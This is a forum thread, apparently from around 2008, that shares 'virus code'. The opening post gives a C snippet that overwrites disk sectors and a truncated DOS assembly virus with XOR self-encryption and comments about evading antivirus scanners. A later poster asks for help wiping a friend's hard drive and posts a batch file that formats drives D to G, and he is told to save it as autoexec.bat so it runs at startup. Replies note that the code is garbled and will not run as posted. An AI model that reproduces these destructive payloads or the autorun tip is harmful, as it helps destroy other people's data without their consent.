viruse code- Don't Use It Your Or Other PC

sanjeeme

Well-known member
  • Mar 12, 2008
    3,901
    335
    83
    Colombo
    Virus
    Don't use in ur PC

    A virus code

    #include

    main()
    {
    char *vir;
    abswrite(0,50,0,vir);
    abswrite(1,50,0,vir);
    abswrite(2,50,0,vir);
    abswrite(3,50,0,vir);
    abswrite(4,50,0,vir);
    printf("FUCK YOU ALL");
    printf("The Bomber");
    } Apr 22 тнє mคd яuรรιαη™
    .model tiny
    .radix 16
    .code
    org 100h

    start:

    first_gen_buffer db 00,00,00,00 ; for first generation only!

    v_start:

    entry_point:

    mov sp,102h ; get the delta offset so tbscan cant
    call get_delta ; flag it as flexible entry point
    get_delta:
    mov bp,word ptr ds:[100h]
    mov sp,0fffeh
    sub bp,offset get_delta


    mov ax,0305h ; this code was included to avoid detection
    xor bx,bx ; from tbscan. The vsafe disabeling code can
    int 16h ; be used as well, but f-prot heuristics
    ; complains about it.

    call en_de_crypt ; decrypt the virus
    jmp short real_start ; and continue...

    encrypt_value dw 0 ; random xor (encryption) value

    write_virus:

    call en_de_crypt ; write encrypted copy of the virus
    mov ah,40 ;
    mov cx,code_end-v_start ; # bytes
    lea dx,[bp+v_start] ; dx:100h
    int 21 ;
    call en_de_crypt ; decrypt virus again for further processing
    ret Apr 22 тнє mคd яuรรιαη™
    en_de_crypt:

    mov ax,word ptr [bp+encrypt_value]
    lea si,[bp+real_start]
    mov cx,(enc_end-real_start+1)/2

    xor_loopie:

    xor word ptr [si],ax ; encrypts two bytes/loop until all
    inc si ; code between real_start and enc_end
    inc si ; are encrypted
    loop xor_loopie
    ret

    real_start:

    cmp word ptr cs:[5dh],'?-' ; check for -? in the command line
    jne chk_cond ; no valid virus option!

    mov ah,9 ; tell them that i wrote the virus,
    lea dx,[bp+offset v_name] ; and quit without infecting!
    int 21h
    int 20h

    chk_cond:

    mov ah,2ch ; get time of 1/100 of a second value from
    int 21h ; the system clock

    write it in a notepad
    save it as virus.bat
    then if anyone clicks that virus.bat file
    the system files will gonna b automatically b deleted
     

    Sanka7

    Member
    Nov 11, 2008
    142
    0
    0
    Hey are u sure...........i have never seen these kinds of bath commands :eek: and if u need viruses contact me............. :D

    Anyway Thanks :lol:
     

    ccslk

    Active member
  • Feb 13, 2007
    1,547
    2
    38
    machan.mage frind kenekge computer eke hard disk wala mage mada video wagayak thiyenwa.
    porata kiwwata delete karanna kiyala karanne ne.

    so mata ona porage partition tika format karana virus ekak.
    meke bat file ekaka num lesiyenma liyanna puluwa.
    but eka auto play wenna hadanne kohomada?

    menna bat file eka

    echo off
    format d:
    format e:
    format f:
    format g:
     

    sanjeeme

    Well-known member
  • Mar 12, 2008
    3,901
    335
    83
    Colombo
    ccslk said:
    machan.mage frind kenekge computer eke hard disk wala mage mada video wagayak thiyenwa.
    porata kiwwata delete karanna kiyala karanne ne.

    so mata ona porage partition tika format karana virus ekak.
    meke bat file ekaka num lesiyenma liyanna puluwa.
    but eka auto play wenna hadanne kohomada?

    menna bat file eka

    echo off
    format d:
    format e:
    format f:
    format g:


    bat file eka autoexe.bat file ekak vidihata save karanna
     

    kosandpol

    Well-known member
  • Jun 10, 2008
    45,329
    1,492
    113
    That's a C with Assembler code in it. Saving this as a bat file and executing it will not work at all.
     

    madurax86

    Member
    Jun 29, 2006
    4,385
    88
    0
    kosandpol said:
    That's a C with Assembler code in it. Saving this as a bat file and executing it will not work at all.

    check the first line
    "#include "
    :P :oo: whats the meaning including *nothing*?
     

    x-pert

    Member
    Jun 13, 2006
    20,952
    77
    0
    This won't work if you have a simple anti virus program.

    Anti virus programs scans for abswrite() parameters :rofl: (Other than virus signatures.)